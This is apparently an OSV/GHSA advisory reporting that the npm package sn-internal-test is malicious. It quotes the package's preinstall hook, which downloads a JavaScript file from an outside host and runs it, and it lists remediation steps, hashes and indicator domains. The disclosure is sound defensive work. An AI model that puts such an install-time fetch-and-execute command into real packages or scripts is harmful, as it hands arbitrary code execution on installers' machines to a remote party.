MAL-2026-5645

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sn-internal-test/MAL-2026-5645.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5645
Aliases
  • GHSA-v675-j7jw-p6rm
Published
2026-06-11T12:38:09Z
Modified
2026-06-16T01:46:46.601314823Z
Summary
Malicious code in sn-internal-test (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (215bae963612bf6e45ac8a32644e51b297c72d021048aa58a58fb0a5d0cb396d)

package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install of this package, the installer's machine fetches an unauthenticated, unpinned, mutable JavaScript file from an external author-controlled host and immediately executes it under Node.js with the installer's user privileges, overwriting the package's own index.js. The package describes itself as 'This is our internal app for testing' but is published to the public npm registry with no library functionality — the entire install-time effect is the remote fetch-and-execute. Whatever bytes are served at https://poc.amanrawat.com/hehe.js at install time become arbitrary code running on the installer's machine. The shape is consistent with a dependency-confusion proof-of-concept or active dropper: an internal-sounding name on public npm whose sole behavior is to pull and run remote code.

Source: ghsa-malware (911b6003b52604acc4b2710df9f978bb93124ca9ffd558f41c6150ce5bb4dd4b)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "versions": [
                "1.9.9"
            ],
            "sha256": "215bae963612bf6e45ac8a32644e51b297c72d021048aa58a58fb0a5d0cb396d",
            "source": "amazon-inspector",
            "modified_time": "2026-06-11T12:38:22Z",
            "import_time": "2026-06-11T13:27:19.608506127Z",
            "id": "IN-MAL-2026-005714"
        },
        {
            "versions": [
                "2.1.1"
            ],
            "sha256": "7a0d57a0150e9a2783ecf0f9e42dc5e5e75c0e51fc17379ce57f99f9030fc64e",
            "source": "amazon-inspector",
            "modified_time": "2026-06-11T12:38:09Z",
            "import_time": "2026-06-11T13:27:19.477924367Z",
            "id": "IN-MAL-2026-005713"
        },
        {
            "versions": [
                "1.9.9"
            ],
            "sha256": "98382d7051ce015fd4cb0d4970d27ca4e798b333fc5a684ffbfe7af2a3010246",
            "source": "amazon-inspector",
            "modified_time": "2026-06-11T12:38:23Z",
            "import_time": "2026-06-11T13:27:19.815581075Z",
            "id": "IN-MAL-2026-005715"
        },
        {
            "versions": [
                "2.1.1"
            ],
            "sha256": "9ddef31ce3b7bf8d7d393b847307865e78e02846c3ee11c79900cd6e97a44ac4",
            "modified_time": "2026-06-11T12:38:09Z",
            "source": "amazon-inspector",
            "import_time": "2026-06-11T13:27:19.352219355Z",
            "id": "IN-MAL-2026-005712"
        },
        {
            "sha256": "911b6003b52604acc4b2710df9f978bb93124ca9ffd558f41c6150ce5bb4dd4b",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "source": "ghsa-malware",
            "modified_time": "2026-06-15T23:57:30Z",
            "import_time": "2026-06-16T01:31:34.726486355Z",
            "id": "GHSA-v675-j7jw-p6rm"
        }
    ]
}
References
Credits

Affected packages

npm / sn-internal-test

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.9.9
2.*
2.1.1

Database specific

indicators
{
    "package_integrity": [
        {
            "filename": "sn-internal-test-1.9.9.tgz",
            "hashes": {
                "sha512_sri": "sha512-iapPjV0bSDZEYp80p7yADZPKkonSbxIIbyqFrZCs5cvB1mEkVT1lVRcPSvb4J2TiTGTBuJ+lJSGsqKv7QoRL4w==",
                "sha1": "003208d03cd50d4f1eb7fd2c203374ec8628d32a"
            }
        }
    ],
    "evidence_files": [
        {
            "sha256": "bd886cbd60fe0dba22ab66943bb938f67e019454e34a8e441b39ac537aea7d19",
            "path": "package.json",
            "tlsh": "a6e020308a23553745c415e6886b941fd6518e2f04557c0863ab042d81df57754fd31d"
        }
    ],
    "domains": [
        "poc.amanrawat.com",
        "webhook.site"
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sn-internal-test/MAL-2026-5645.json"
cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]